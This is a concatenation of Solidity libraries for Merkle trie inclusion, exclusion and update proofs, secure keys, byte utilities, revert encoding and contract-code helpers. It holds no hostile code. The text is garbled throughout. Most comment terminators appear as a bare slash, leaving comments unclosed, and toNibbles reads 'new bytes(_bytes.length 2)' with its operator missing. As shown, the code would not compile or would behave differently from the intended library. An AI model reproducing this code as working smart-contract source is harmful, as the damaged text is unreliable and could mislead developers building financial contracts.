keyRemainder, ) = _walkNodePath(proof, _key, _root); TrieNode[] memory newPath = _getNewPath(proof, pathLength, keyRemainder, _value); return _getUpdatedTrieRoot(newPath, _key); } /* * @notice Retrieves the value associated with a given key. * @param _key Key to search for, as hex bytes. * @param _proof Merkle trie inclusion proof for the key. * @param _root Known root of the Merkle trie. * @return _exists Whether or not the key exists. * @return _value Value of the key if it exists. / function get( bytes memory _key, bytes memory _proof, bytes32 _root ) internal pure returns ( bool _exists, bytes memory _value ) { TrieNode[] memory proof = _parseProof(_proof); (uint256 pathLength, bytes memory keyRemainder, bool isFinalNode) = _walkNodePath(proof, _key, _root); bool exists = keyRemainder.length == 0; require( exists \|\| isFinalNode, "Provided proof is invalid." ); bytes memory value = exists ? _getNodeValue(proof[pathLength - 1]) : bytes(''); return ( exists, value ); } /* * Computes the root hash for a trie with a single node. * @param _key Key for the single node. * @param _value Value for the single node. * @return _updatedRoot Hash of the trie. / function getSingleNodeRootHash( bytes memory _key, bytes memory _value ) internal pure returns ( bytes32 _updatedRoot ) { return keccak256(_makeLeafNode( Lib_BytesUtils.toNibbles(_key), _value ).encoded); } /******************** * Private Functions * *******************/ / * @notice Walks through a proof using a provided key. * @param _proof Inclusion proof to walk through. * @param _key Key to use for the walk. * @param _root Known root of the trie. * @return _pathLength Length of the final path * @return _keyRemainder Portion of the key remaining after the walk. * @return _isFinalNode Whether or not we've hit a dead end. / function _walkNodePath( TrieNode[] memory _proof, bytes memory _key, bytes32 _root ) private pure returns ( uint256 _pathLength, bytes memory _keyRemainder, bool _isFinalNode ) { uint256 pathLength = 0; bytes memory key = Lib_BytesUtils.toNibbles(_key); bytes32 currentNodeID = _root; uint256 currentKeyIndex = 0; uint256 currentKeyIncrement = 0; TrieNode memory currentNode; // Proof is top-down, so we start at the first element (root). for (uint256 i = 0; i < _proof.length; i++) { currentNode = _proof[i]; currentKeyIndex += currentKeyIncrement; // Keep track of the proof elements we actually need. // It's expensive to resize arrays, so this simply reduces gas costs. pathLength += 1; if (currentKeyIndex == 0) { // First proof element is always the root node. require( keccak256(currentNode.encoded) == currentNodeID, "Invalid root hash" ); } else if (currentNode.encoded.length >= 32) { // Nodes 32 bytes or larger are hashed inside branch nodes. require( keccak256(currentNode.encoded) == currentNodeID, "Invalid large internal hash" ); } else { // Nodes smaller than 31 bytes aren't hashed. require( Lib_BytesUtils.toBytes32(currentNode.encoded) == currentNodeID, "Invalid internal node hash" ); } if (currentNode.decoded.length == BRANCH_NODE_LENGTH) { if (currentKeyIndex == key.length) { // We've hit the end of the key, meaning the value should be within this branch node. break; } else { // We're not at the end of the key yet. // Figure out what the next node ID should be and continue. uint8 branchKey = uint8(key[currentKeyIndex]); Lib_RLPReader.RLPItem memory nextNode = currentNode.decoded[branchKey]; currentNodeID = _getNodeID(nextNode); currentKeyIncrement = 1; continue; } } else if (currentNode.decoded.length == LEAF_OR_EXTENSION_NODE_LENGTH) { bytes memory path = _getNodePath(currentNode); uint8 prefix = uint8(path[0]); uint8 offset = 2 - prefix % 2; bytes memory pathRemainder = Lib_BytesUtils.slice(path, offset); bytes memory keyRemainder = Lib_BytesUtils.slice(key, currentKeyIndex); uint256 sharedNibbleLength = _getSharedNibbleLength(pathRemainder, keyRemainder); if (prefix == PREFIX_LEAF_EVEN \|\| prefix == PREFIX_LEAF_ODD) { if ( pathRemainder.length == sharedNibbleLength && keyRemainder.length == sharedNibbleLength ) { // The key within this leaf matches our key exactly. // Increment the key index to reflect that we have no remainder. currentKeyIndex += sharedNibbleLength; } // We've hit a leaf node, so our next node should be NULL. currentNodeID = bytes32(RLP_NULL); break; } else if (prefix == PREFIX_EXTENSION_EVEN \|\| prefix == PREFIX_EXTENSION_ODD) { if (sharedNibbleLength == 0) { // Our extension node doesn't share any part of our key. // We've hit the end of this path, updates will need to modify this extension. currentNodeID = bytes32(RLP_NULL); break; } else { // Our extension shares some nibbles. // Carry on to the next node. currentNodeID = _getNodeID(currentNode.decoded[1]); currentKeyIncrement = sharedNibbleLength; continue; } } else { revert("Received a node with an unknown prefix"); } } else { revert("Received an unparseable node."); } } // If our node ID is NULL, then we're at a dead end. bool isFinalNode = currentNodeID == bytes32(RLP_NULL); return (pathLength, Lib_BytesUtils.slice(key, currentKeyIndex), isFinalNode); } /* * @notice Creates new nodes to support a k/v pair insertion into a given * Merkle trie path. * @param _path Path to the node nearest the k/v pair. * @param _pathLength Length of the path. Necessary because the provided * path may include additional nodes (e.g., it comes directly from a proof) * and we can't resize in-memory arrays without costly duplication. * @param _keyRemainder Portion of the initial key that must be inserted * into the trie. * @param _value Value to insert at the given key. * @return _newPath A new path with the inserted k/v pair and extra supporting nodes. / function _getNewPath( TrieNode[] memory _path, uint256 _pathLength, bytes memory _keyRemainder, bytes memory _value ) private pure returns ( TrieNode[] memory _newPath ) { bytes memory keyRemainder = _keyRemainder; // Most of our logic depends on the status of the last node in the path. TrieNode memory lastNode = _path[_pathLength - 1]; NodeType lastNodeType = _getNodeType(lastNode); // Create an array for newly created nodes. // We need up to three new nodes, depending on the contents of the last node. // Since array resizing is expensive, we'll keep track of the size manually. // We're using an explicit `totalNewNodes += 1` after insertions for clarity. TrieNode[] memory newNodes = new TrieNode[](3); uint256 totalNewNodes = 0; if (keyRemainder.length == 0 && lastNodeType == NodeType.LeafNode) { // We've found a leaf node with the given key. // Simply need to update the value of the node to match. newNodes[totalNewNodes] = _makeLeafNode(_getNodeKey(lastNode), _value); totalNewNodes += 1; } else if (lastNodeType == NodeType.BranchNode) { if (keyRemainder.length == 0) { // We've found a branch node with the given key. // Simply need to update the value of the node to match. newNodes[totalNewNodes] = _editBranchValue(lastNode, _value); totalNewNodes += 1; } else { // We've found a branch node, but it doesn't contain our key. // Reinsert the old branch for now. newNodes[totalNewNodes] = lastNode; totalNewNodes += 1; // Create a new leaf node, slicing our remainder since the first byte points // to our branch node. newNodes[totalNewNodes] = _makeLeafNode(Lib_BytesUtils.slice(keyRemainder, 1), _value); totalNewNodes += 1; } } else { // Our last node is either an extension node or a leaf node with a different key. bytes memory lastNodeKey = _getNodeKey(lastNode); uint256 sharedNibbleLength = _getSharedNibbleLength(lastNodeKey, keyRemainder); if (sharedNibbleLength != 0) { // We've got some shared nibbles between the last node and our key remainder. // We'll need to insert an extension node that covers these shared nibbles. bytes memory nextNodeKey = Lib_BytesUtils.slice(lastNodeKey, 0, sharedNibbleLength); newNodes[totalNewNodes] = _makeExtensionNode(nextNodeKey, _getNodeHash(_value)); totalNewNodes += 1; // Cut down the keys since we've just covered these shared nibbles. lastNodeKey = Lib_BytesUtils.slice(lastNodeKey, sharedNibbleLength); keyRemainder = Lib_BytesUtils.slice(keyRemainder, sharedNibbleLength); } // Create an empty branch to fill in. TrieNode memory newBranch = _makeEmptyBranchNode(); if (lastNodeKey.length == 0) { // Key remainder was larger than the key for our last node. // The value within our last node is therefore going to be shifted into // a branch value slot. newBranch = _editBranchValue(newBranch, _getNodeValue(lastNode)); } else { // Last node key was larger than the key remainder. // We're going to modify some index of our branch. uint8 branchKey = uint8(lastNodeKey[0]); // Move on to the next nibble. lastNodeKey = Lib_BytesUtils.slice(lastNodeKey, 1); if (lastNodeType == NodeType.LeafNode) { // We're dealing with a leaf node. // We'll modify the key and insert the old leaf node into the branch index. TrieNode memory modifiedLastNode = _makeLeafNode(lastNodeKey, _getNodeValue(lastNode)); newBranch = _editBranchIndex(newBranch, branchKey, _getNodeHash(modifiedLastNode.encoded)); } else if (lastNodeKey.length != 0) { // We're dealing with a shrinking extension node. // We need to modify the node to decrease the size of the key. TrieNode memory modifiedLastNode = _makeExtensionNode(lastNodeKey, _getNodeValue(lastNode)); newBranch = _editBranchIndex(newBranch, branchKey, _getNodeHash(modifiedLastNode.encoded)); } else { // We're dealing with an unnecessary extension node. // We're going to delete the node entirely. // Simply insert its current value into the branch index. newBranch = _editBranchIndex(newBranch, branchKey, _getNodeValue(lastNode)); } } if (keyRemainder.length == 0) { // We've got nothing left in the key remainder. // Simply insert the value into the branch value slot. newBranch = _editBranchValue(newBranch, _value); // Push the branch into the list of new nodes. newNodes[totalNewNodes] = newBranch; totalNewNodes += 1; } else { // We've got some key remainder to work with. // We'll be inserting a leaf node into the trie. // First, move on to the next nibble. keyRemainder = Lib_BytesUtils.slice(keyRemainder, 1); // Push the branch into the list of new nodes. newNodes[totalNewNodes] = newBranch; totalNewNodes += 1; // Push a new leaf node for our k/v pair. newNodes[totalNewNodes] = _makeLeafNode(keyRemainder, _value); totalNewNodes += 1; } } // Finally, join the old path with our newly created nodes. // Since we're overwriting the last node in the path, we use `_pathLength - 1`. return _joinNodeArrays(_path, _pathLength - 1, newNodes, totalNewNodes); } /* * @notice Computes the trie root from a given path. * @param _nodes Path to some k/v pair. * @param _key Key for the k/v pair. * @return _updatedRoot Root hash for the updated trie. / function _getUpdatedTrieRoot( TrieNode[] memory _nodes, bytes memory _key ) private pure returns ( bytes32 _updatedRoot ) { bytes memory key = Lib_BytesUtils.toNibbles(_key); // Some variables to keep track of during iteration. TrieNode memory currentNode; NodeType currentNodeType; bytes memory previousNodeHash; // Run through the path backwards to rebuild our root hash. for (uint256 i = _nodes.length; i > 0; i--) { // Pick out the current node. currentNode = _nodes[i - 1]; currentNodeType = _getNodeType(currentNode); if (currentNodeType == NodeType.LeafNode) { // Leaf nodes are already correctly encoded. // Shift the key over to account for the nodes key. bytes memory nodeKey = _getNodeKey(currentNode); key = Lib_BytesUtils.slice(key, 0, key.length - nodeKey.length); } else if (currentNodeType == NodeType.ExtensionNode) { // Shift the key over to account for the nodes key. bytes memory nodeKey = _getNodeKey(currentNode); key = Lib_BytesUtils.slice(key, 0, key.length - nodeKey.length); // If this node is the last element in the path, it'll be correctly encoded // and we can skip this part. if (previousNodeHash.length > 0) { // Re-encode the node based on the previous node. currentNode = _makeExtensionNode(nodeKey, previousNodeHash); } } else if (currentNodeType == NodeType.BranchNode) { // If this node is the last element in the path, it'll be correctly encoded // and we can skip this part. if (previousNodeHash.length > 0) { // Re-encode the node based on the previous node. uint8 branchKey = uint8(key[key.length - 1]); key = Lib_BytesUtils.slice(key, 0, key.length - 1); currentNode = _editBranchIndex(currentNode, branchKey, previousNodeHash); } } // Compute the node hash for the next iteration. previousNodeHash = _getNodeHash(currentNode.encoded); } // Current node should be the root at this point. // Simply return the hash of its encoding. return keccak256(currentNode.encoded); } /* * @notice Parses an RLP-encoded proof into something more useful. * @param _proof RLP-encoded proof to parse. * @return _parsed Proof parsed into easily accessible structs. / function _parseProof( bytes memory _proof ) private pure returns ( TrieNode[] memory _parsed ) { Lib_RLPReader.RLPItem[] memory nodes = Lib_RLPReader.readList(_proof); TrieNode[] memory proof = new TrieNode[](nodes.length); for (uint256 i = 0; i < nodes.length; i++) { bytes memory encoded = Lib_RLPReader.readBytes(nodes[i]); proof[i] = TrieNode({ encoded: encoded, decoded: Lib_RLPReader.readList(encoded) }); } return proof; } /* * @notice Picks out the ID for a node. Node ID is referred to as the * "hash" within the specification, but nodes < 32 bytes are not actually * hashed. * @param _node Node to pull an ID for. * @return _nodeID ID for the node, depending on the size of its contents. / function _getNodeID( Lib_RLPReader.RLPItem memory _node ) private pure returns ( bytes32 _nodeID ) { bytes memory nodeID; if (_node.length < 32) { // Nodes smaller than 32 bytes are RLP encoded. nodeID = Lib_RLPReader.readRawBytes(_node); } else { // Nodes 32 bytes or larger are hashed. nodeID = Lib_RLPReader.readBytes(_node); } return Lib_BytesUtils.toBytes32(nodeID); } /* * @notice Gets the path for a leaf or extension node. * @param _node Node to get a path for. * @return _path Node path, converted to an array of nibbles. / function _getNodePath( TrieNode memory _node ) private pure returns ( bytes memory _path ) { return Lib_BytesUtils.toNibbles(Lib_RLPReader.readBytes(_node.decoded[0])); } /* * @notice Gets the key for a leaf or extension node. Keys are essentially * just paths without any prefix. * @param _node Node to get a key for. * @return _key Node key, converted to an array of nibbles. / function _getNodeKey( TrieNode memory _node ) private pure returns ( bytes memory _key ) { return _removeHexPrefix(_getNodePath(_node)); } /* * @notice Gets the path for a node. * @param _node Node to get a value for. * @return _value Node value, as hex bytes. / function _getNodeValue( TrieNode memory _node ) private pure returns ( bytes memory _value ) { return Lib_RLPReader.readBytes(_node.decoded[_node.decoded.length - 1]); } /* * @notice Computes the node hash for an encoded node. Nodes < 32 bytes * are not hashed, all others are keccak256 hashed. * @param _encoded Encoded node to hash. * @return _hash Hash of the encoded node. Simply the input if < 32 bytes. / function _getNodeHash( bytes memory _encoded ) private pure returns ( bytes memory _hash ) { if (_encoded.length < 32) { return _encoded; } else { return abi.encodePacked(keccak256(_encoded)); } } /* * @notice Determines the type for a given node. * @param _node Node to determine a type for. * @return _type Type of the node; BranchNode/ExtensionNode/LeafNode. / function _getNodeType( TrieNode memory _node ) private pure returns ( NodeType _type ) { if (_node.decoded.length == BRANCH_NODE_LENGTH) { return NodeType.BranchNode; } else if (_node.decoded.length == LEAF_OR_EXTENSION_NODE_LENGTH) { bytes memory path = _getNodePath(_node); uint8 prefix = uint8(path[0]); if (prefix == PREFIX_LEAF_EVEN \|\| prefix == PREFIX_LEAF_ODD) { return NodeType.LeafNode; } else if (prefix == PREFIX_EXTENSION_EVEN \|\| prefix == PREFIX_EXTENSION_ODD) { return NodeType.ExtensionNode; } } revert("Invalid node type"); } /* * @notice Utility; determines the number of nibbles shared between two * nibble arrays. * @param _a First nibble array. * @param _b Second nibble array. * @return _shared Number of shared nibbles. / function _getSharedNibbleLength( bytes memory _a, bytes memory _b ) private pure returns ( uint256 _shared ) { uint256 i = 0; while (_a.length > i && _b.length > i && _a[i] == _b[i]) { i++; } return i; } /* * @notice Utility; converts an RLP-encoded node into our nice struct. * @param _raw RLP-encoded node to convert. * @return _node Node as a TrieNode struct. / function _makeNode( bytes[] memory _raw ) private pure returns ( TrieNode memory _node ) { bytes memory encoded = Lib_RLPWriter.writeList(_raw); return TrieNode({ encoded: encoded, decoded: Lib_RLPReader.readList(encoded) }); } /* * @notice Utility; converts an RLP-decoded node into our nice struct. * @param _items RLP-decoded node to convert. * @return _node Node as a TrieNode struct. / function _makeNode( Lib_RLPReader.RLPItem[] memory _items ) private pure returns ( TrieNode memory _node ) { bytes[] memory raw = new bytes[](_items.length); for (uint256 i = 0; i < _items.length; i++) { raw[i] = Lib_RLPReader.readRawBytes(_items[i]); } return _makeNode(raw); } /* * @notice Creates a new extension node. * @param _key Key for the extension node, unprefixed. * @param _value Value for the extension node. * @return _node New extension node with the given k/v pair. / function _makeExtensionNode( bytes memory _key, bytes memory _value ) private pure returns ( TrieNode memory _node ) { bytes[] memory raw = new bytes[](2); bytes memory key = _addHexPrefix(_key, false); raw[0] = Lib_RLPWriter.writeBytes(Lib_BytesUtils.fromNibbles(key)); raw[1] = Lib_RLPWriter.writeBytes(_value); return _makeNode(raw); } /* * @notice Creates a new leaf node. * @dev This function is essentially identical to `_makeExtensionNode`. * Although we could route both to a single method with a flag, it's * more gas efficient to keep them separate and duplicate the logic. * @param _key Key for the leaf node, unprefixed. * @param _value Value for the leaf node. * @return _node New leaf node with the given k/v pair. / function _makeLeafNode( bytes memory _key, bytes memory _value ) private pure returns ( TrieNode memory _node ) { bytes[] memory raw = new bytes[](2); bytes memory key = _addHexPrefix(_key, true); raw[0] = Lib_RLPWriter.writeBytes(Lib_BytesUtils.fromNibbles(key)); raw[1] = Lib_RLPWriter.writeBytes(_value); return _makeNode(raw); } /* * @notice Creates an empty branch node. * @return _node Empty branch node as a TrieNode struct. / function _makeEmptyBranchNode() private pure returns ( TrieNode memory _node ) { bytes[] memory raw = new bytes[](BRANCH_NODE_LENGTH); for (uint256 i = 0; i < raw.length; i++) { raw[i] = RLP_NULL_BYTES; } return _makeNode(raw); } /* * @notice Modifies the value slot for a given branch. * @param _branch Branch node to modify. * @param _value Value to insert into the branch. * @return _updatedNode Modified branch node. / function _editBranchValue( TrieNode memory _branch, bytes memory _value ) private pure returns ( TrieNode memory _updatedNode ) { bytes memory encoded = Lib_RLPWriter.writeBytes(_value); _branch.decoded[_branch.decoded.length - 1] = Lib_RLPReader.toRLPItem(encoded); return _makeNode(_branch.decoded); } /* * @notice Modifies a slot at an index for a given branch. * @param _branch Branch node to modify. * @param _index Slot index to modify. * @param _value Value to insert into the slot. * @return _updatedNode Modified branch node. / function _editBranchIndex( TrieNode memory _branch, uint8 _index, bytes memory _value ) private pure returns ( TrieNode memory _updatedNode ) { bytes memory encoded = _value.length < 32 ? _value : Lib_RLPWriter.writeBytes(_value); _branch.decoded[_index] = Lib_RLPReader.toRLPItem(encoded); return _makeNode(_branch.decoded); } /* * @notice Utility; adds a prefix to a key. * @param _key Key to prefix. * @param _isLeaf Whether or not the key belongs to a leaf. * @return _prefixedKey Prefixed key. / function _addHexPrefix( bytes memory _key, bool _isLeaf ) private pure returns ( bytes memory _prefixedKey ) { uint8 prefix = _isLeaf ? uint8(0x02) : uint8(0x00); uint8 offset = uint8(_key.length % 2); bytes memory prefixed = new bytes(2 - offset); prefixed[0] = bytes1(prefix + offset); return abi.encodePacked(prefixed, _key); } /* * @notice Utility; removes a prefix from a path. * @param _path Path to remove the prefix from. * @return _unprefixedKey Unprefixed key. / function _removeHexPrefix( bytes memory _path ) private pure returns ( bytes memory _unprefixedKey ) { if (uint8(_path[0]) % 2 == 0) { return Lib_BytesUtils.slice(_path, 2); } else { return Lib_BytesUtils.slice(_path, 1); } } /* * @notice Utility; combines two node arrays. Array lengths are required * because the actual lengths may be longer than the filled lengths. * Array resizing is extremely costly and should be avoided. * @param _a First array to join. * @param _aLength Length of the first array. * @param _b Second array to join. * @param _bLength Length of the second array. * @return _joined Combined node array. / function _joinNodeArrays( TrieNode[] memory _a, uint256 _aLength, TrieNode[] memory _b, uint256 _bLength ) private pure returns ( TrieNode[] memory _joined ) { TrieNode[] memory ret = new TrieNode[](_aLength + _bLength); // Copy elements from the first array. for (uint256 i = 0; i < _aLength; i++) { ret[i] = _a[i]; } // Copy elements from the second array. for (uint256 i = 0; i < _bLength; i++) { ret[i + _aLength] = _b[i]; } return ret; } } // SPDX-License-Identifier: MIT pragma solidity >0.5.0 <0.8.0; pragma experimental ABIEncoderV2; / Library Imports / import { Lib_MerkleTrie } from "./Lib_MerkleTrie.sol"; /* * @title Lib_SecureMerkleTrie / library Lib_SecureMerkleTrie { /********************* * Internal Functions * ********************/ / * @notice Verifies a proof that a given key/value pair is present in the * Merkle trie. * @param _key Key of the node to search for, as a hex string. * @param _value Value of the node to search for, as a hex string. * @param _proof Merkle trie inclusion proof for the desired node. Unlike * traditional Merkle trees, this proof is executed top-down and consists * of a list of RLP-encoded nodes that make a path down to the target node. * @param _root Known root of the Merkle trie. Used to verify that the * included proof is correctly constructed. * @return _verified `true` if the k/v pair exists in the trie, `false` otherwise. / function verifyInclusionProof( bytes memory _key, bytes memory _value, bytes memory _proof, bytes32 _root ) internal pure returns ( bool _verified ) { bytes memory key = _getSecureKey(_key); return Lib_MerkleTrie.verifyInclusionProof(key, _value, _proof, _root); } /* * @notice Verifies a proof that a given key is not present in * the Merkle trie. * @param _key Key of the node to search for, as a hex string. * @param _proof Merkle trie inclusion proof for the node nearest the * target node. * @param _root Known root of the Merkle trie. Used to verify that the * included proof is correctly constructed. * @return _verified `true` if the key is not present in the trie, `false` otherwise. / function verifyExclusionProof( bytes memory _key, bytes memory _proof, bytes32 _root ) internal pure returns ( bool _verified ) { bytes memory key = _getSecureKey(_key); return Lib_MerkleTrie.verifyExclusionProof(key, _proof, _root); } /* * @notice Updates a Merkle trie and returns a new root hash. * @param _key Key of the node to update, as a hex string. * @param _value Value of the node to update, as a hex string. * @param _proof Merkle trie inclusion proof for the node nearest the * target node. If the key exists, we can simply update the value. * Otherwise, we need to modify the trie to handle the new k/v pair. * @param _root Known root of the Merkle trie. Used to verify that the * included proof is correctly constructed. * @return _updatedRoot Root hash of the newly constructed trie. / function update( bytes memory _key, bytes memory _value, bytes memory _proof, bytes32 _root ) internal pure returns ( bytes32 _updatedRoot ) { bytes memory key = _getSecureKey(_key); return Lib_MerkleTrie.update(key, _value, _proof, _root); } /* * @notice Retrieves the value associated with a given key. * @param _key Key to search for, as hex bytes. * @param _proof Merkle trie inclusion proof for the key. * @param _root Known root of the Merkle trie. * @return _exists Whether or not the key exists. * @return _value Value of the key if it exists. / function get( bytes memory _key, bytes memory _proof, bytes32 _root ) internal pure returns ( bool _exists, bytes memory _value ) { bytes memory key = _getSecureKey(_key); return Lib_MerkleTrie.get(key, _proof, _root); } /* * Computes the root hash for a trie with a single node. * @param _key Key for the single node. * @param _value Value for the single node. * @return _updatedRoot Hash of the trie. / function getSingleNodeRootHash( bytes memory _key, bytes memory _value ) internal pure returns ( bytes32 _updatedRoot ) { bytes memory key = _getSecureKey(_key); return Lib_MerkleTrie.getSingleNodeRootHash(key, _value); } /******************** * Private Functions * *******************/ / * Computes the secure counterpart to a key. * @param _key Key to get a secure key from. * @return _secureKey Secure version of the key. / function _getSecureKey( bytes memory _key ) private pure returns ( bytes memory _secureKey ) { return abi.encodePacked(keccak256(_key)); } } // SPDX-License-Identifier: MIT pragma solidity >0.5.0 <0.8.0; /* * @title Lib_Byte32Utils / library Lib_Bytes32Utils { /********************* * Internal Functions * ********************/ / * Converts a bytes32 value to a boolean. Anything non-zero will be converted to "true." * @param _in Input bytes32 value. * @return Bytes32 as a boolean. / function toBool( bytes32 _in ) internal pure returns ( bool ) { return _in != 0; } /* * Converts a boolean to a bytes32 value. * @param _in Input boolean value. * @return Boolean as a bytes32. / function fromBool( bool _in ) internal pure returns ( bytes32 ) { return bytes32(uint256(_in ? 1 : 0)); } /* * Converts a bytes32 value to an address. Takes the last 20 bytes. * @param _in Input bytes32 value. * @return Bytes32 as an address. / function toAddress( bytes32 _in ) internal pure returns ( address ) { return address(uint160(uint256(_in))); } /* * Converts an address to a bytes32. * @param _in Input address value. * @return Address as a bytes32. / function fromAddress( address _in ) internal pure returns ( bytes32 ) { return bytes32(uint256(_in)); } /* * Removes the leading zeros from a bytes32 value and returns a new (smaller) bytes value. * @param _in Input bytes32 value. * @return Bytes32 without any leading zeros. / function removeLeadingZeros( bytes32 _in ) internal pure returns ( bytes memory ) { bytes memory out; assembly { // Figure out how many leading zero bytes to remove. let shift := 0 for { let i := 0 } and(lt(i, 32), eq(byte(i, _in), 0)) { i := add(i, 1) } { shift := add(shift, 1) } // Reserve some space for our output and fix the free memory pointer. out := mload(0x40) mstore(0x40, add(out, 0x40)) // Shift the value and store it into the output bytes. mstore(add(out, 0x20), shl(mul(shift, 8), _in)) // Store the new size (with leading zero bytes removed) in the output byte size. mstore(out, sub(32, shift)) } return out; } } // SPDX-License-Identifier: MIT pragma solidity >0.5.0 <0.8.0; /* * @title Lib_BytesUtils / library Lib_BytesUtils { /********************* * Internal Functions * *********************/ function slice( bytes memory _bytes, uint256 _start, uint256 _length ) internal pure returns (bytes memory) { require(_length + 31 >= _length, "slice_overflow"); require(_start + _length >= _start, "slice_overflow"); require(_bytes.length >= _start + _length, "slice_outOfBounds"); bytes memory tempBytes; assembly { switch iszero(_length) case 0 { // Get a location of some free memory and store it in tempBytes as // Solidity does for memory variables. tempBytes := mload(0x40) // The first word of the slice result is potentially a partial // word read from the original array. To read it, we calculate // the length of that partial word and start copying that many // bytes into the array. The first word we copy will start with // data we don't care about, but the last `lengthmod` bytes will // land at the beginning of the contents of the new array. When // we're done copying, we overwrite the full first word with // the actual length of the slice. let lengthmod := and(_length, 31) // The multiplication in the next line is necessary // because when slicing multiples of 32 bytes (lengthmod == 0) // the following copy loop was copying the origin's length // and then ending prematurely not copying everything it should. let mc := add(add(tempBytes, lengthmod), mul(0x20, iszero(lengthmod))) let end := add(mc, _length) for { // The multiplication in the next line has the same exact purpose // as the one above. let cc := add(add(add(_bytes, lengthmod), mul(0x20, iszero(lengthmod))), _start) } lt(mc, end) { mc := add(mc, 0x20) cc := add(cc, 0x20) } { mstore(mc, mload(cc)) } mstore(tempBytes, _length) //update free-memory pointer //allocating the array padded to 32 bytes like the compiler does now mstore(0x40, and(add(mc, 31), not(31))) } //if we want a zero-length slice let's just return a zero-length array default { tempBytes := mload(0x40) //zero out the 32 bytes slice we are about to return //we need to do it because Solidity does not garbage collect mstore(tempBytes, 0) mstore(0x40, add(tempBytes, 0x20)) } } return tempBytes; } function slice( bytes memory _bytes, uint256 _start ) internal pure returns (bytes memory) { if (_bytes.length - _start == 0) { return bytes(''); } return slice(_bytes, _start, _bytes.length - _start); } function toBytes32PadLeft( bytes memory _bytes ) internal pure returns (bytes32) { bytes32 ret; uint256 len = _bytes.length <= 32 ? _bytes.length : 32; assembly { ret := shr(mul(sub(32, len), 8), mload(add(_bytes, 32))) } return ret; } function toBytes32( bytes memory _bytes ) internal pure returns (bytes32) { if (_bytes.length < 32) { bytes32 ret; assembly { ret := mload(add(_bytes, 32)) } return ret; } return abi.decode(_bytes,(bytes32)); // will truncate if input length > 32 bytes } function toUint256( bytes memory _bytes ) internal pure returns (uint256) { return uint256(toBytes32(_bytes)); } function toUint24(bytes memory _bytes, uint256 _start) internal pure returns (uint24) { require(_start + 3 >= _start, "toUint24_overflow"); require(_bytes.length >= _start + 3 , "toUint24_outOfBounds"); uint24 tempUint; assembly { tempUint := mload(add(add(_bytes, 0x3), _start)) } return tempUint; } function toUint8(bytes memory _bytes, uint256 _start) internal pure returns (uint8) { require(_start + 1 >= _start, "toUint8_overflow"); require(_bytes.length >= _start + 1 , "toUint8_outOfBounds"); uint8 tempUint; assembly { tempUint := mload(add(add(_bytes, 0x1), _start)) } return tempUint; } function toAddress(bytes memory _bytes, uint256 _start) internal pure returns (address) { require(_start + 20 >= _start, "toAddress_overflow"); require(_bytes.length >= _start + 20, "toAddress_outOfBounds"); address tempAddress; assembly { tempAddress := div(mload(add(add(_bytes, 0x20), _start)), 0x1000000000000000000000000) } return tempAddress; } function toNibbles( bytes memory _bytes ) internal pure returns (bytes memory) { bytes memory nibbles = new bytes(_bytes.length 2); for (uint256 i = 0; i < _bytes.length; i++) { nibbles[i * 2] = _bytes[i] >> 4; nibbles[i * 2 + 1] = bytes1(uint8(_bytes[i]) % 16); } return nibbles; } function fromNibbles( bytes memory _bytes ) internal pure returns (bytes memory) { bytes memory ret = new bytes(_bytes.length / 2); for (uint256 i = 0; i < ret.length; i++) { ret[i] = (_bytes[i * 2] << 4) \| (_bytes[i * 2 + 1]); } return ret; } function equal( bytes memory _bytes, bytes memory _other ) internal pure returns (bool) { return keccak256(_bytes) == keccak256(_other); } } // SPDX-License-Identifier: MIT pragma solidity >0.5.0 <0.8.0; pragma experimental ABIEncoderV2; /** * @title Lib_ErrorUtils / library Lib_ErrorUtils { /********************* * Internal Functions * ********************/ / * Encodes an error string into raw solidity-style revert data. * (i.e. ascii bytes, prefixed with bytes4(keccak("Error(string))")) * Ref: https://docs.soliditylang.org/en/v0.8.2/control-structures.html?highlight=Error(string)#panic-via-assert-and-error-via-require * @param _reason Reason for the reversion. * @return Standard solidity revert data for the given reason. / function encodeRevertString( string memory _reason ) internal pure returns ( bytes memory ) { return abi.encodeWithSignature( "Error(string)", _reason ); } } // SPDX-License-Identifier: MIT // @unsupported: ovm pragma solidity >0.5.0 <0.8.0; pragma experimental ABIEncoderV2; / Library Imports / import { Lib_RLPWriter } from "../rlp/Lib_RLPWriter.sol"; import { Lib_Bytes32Utils } from "./Lib_Bytes32Utils.sol"; /* * @title Lib_EthUtils / library Lib_EthUtils { /********************************** * Internal Functions: Code Access * *********************************/ / * Gets the code for a given address. * @param _address Address to get code for. * @param _offset Offset to start reading from. * @param _length Number of bytes to read. * @return _code Code read from the contract. / function getCode( address _address, uint256 _offset, uint256 _length ) internal view returns ( bytes memory _code ) { assembly { _code := mload(0x40) mstore(0x40, add(_code, add(_length, 0x20))) mstore(_code, _length) extcodecopy(_address, add(_code, 0x20), _offset, _length) } return _code; } /* * Gets the full code for a given address. * @param _address Address to get code for. * @return _code Full code of the contract. / function getCode( address _address ) internal view returns ( bytes memory _code ) { return getCode( _address, 0, getCodeSize(_address) ); } /* * Gets the size of a contract's code in bytes. * @param _address Address to get code size for. * @return _codeSize Size of the contract's code in bytes. / function getCodeSize( address _address ) internal view returns ( uint256 _codeSize ) { assembly { _codeSize := extcodesize(_address) } return _codeSize; } /* * Gets the hash of a contract's code. * @param _address Address to get a code hash for. * @return _codeHash Hash of the contract's code. / function getCodeHash( address _address ) internal view returns ( bytes32 _codeHash ) { assembly { _codeHash := extcodehash(_address) } return _codeHash; } /**************************************** * Internal Functions: Contract Creation * ***************************************/ / * Creates a contract with some given initialization code. * @param _code Contract initialization code. * @return _created Address of the created contract. / function createContract( bytes memory _code ) internal returns ( address _created ) { assembly { _created := create( 0, add(_code, 0x20), mload(_code) ) } return _created; } /* * Computes the address that would be generated by CREATE. * @param _creator Address creating the contract. * @param _nonce Creator's nonce. * @return _address Address to be generated by CREATE. / function getAddressForCREATE( address _creator, uint256 _nonce ) internal pure returns ( address _address ) { bytes[] memory encoded = new bytes[](2); encoded[0] = Lib_RLPWriter.writeAddress(_creator); encoded[1] = Lib_RLPWriter.writeUint(_nonce); bytes memory encodedList = Lib_RLPWriter.writeList(encoded); return Lib_Bytes32Utils.toAddress(keccak256(encodedList)); } /* * Computes the address that would be generated by CREATE2. * @param _creator Address creating the contract. * @param _bytecode Bytecode of the contract to be created. * @param _salt 32 byte salt value mixed into the hash. * @return _address Address to be generated by CREATE2. / function getAddressForCREATE2( address _creator, bytes memory _bytecode, bytes32 _salt ) internal pure returns (address _address) { bytes32 hashedData = keccak256(abi.encodePacked( byte(0xff), _creator, _salt, keccak256(_bytecode) )); return Lib_Bytes32Utils.toAddress(hashedData); } } // SPDX-License-Identifier: MIT pragma solidity >0.5.0 <0.8.0; / 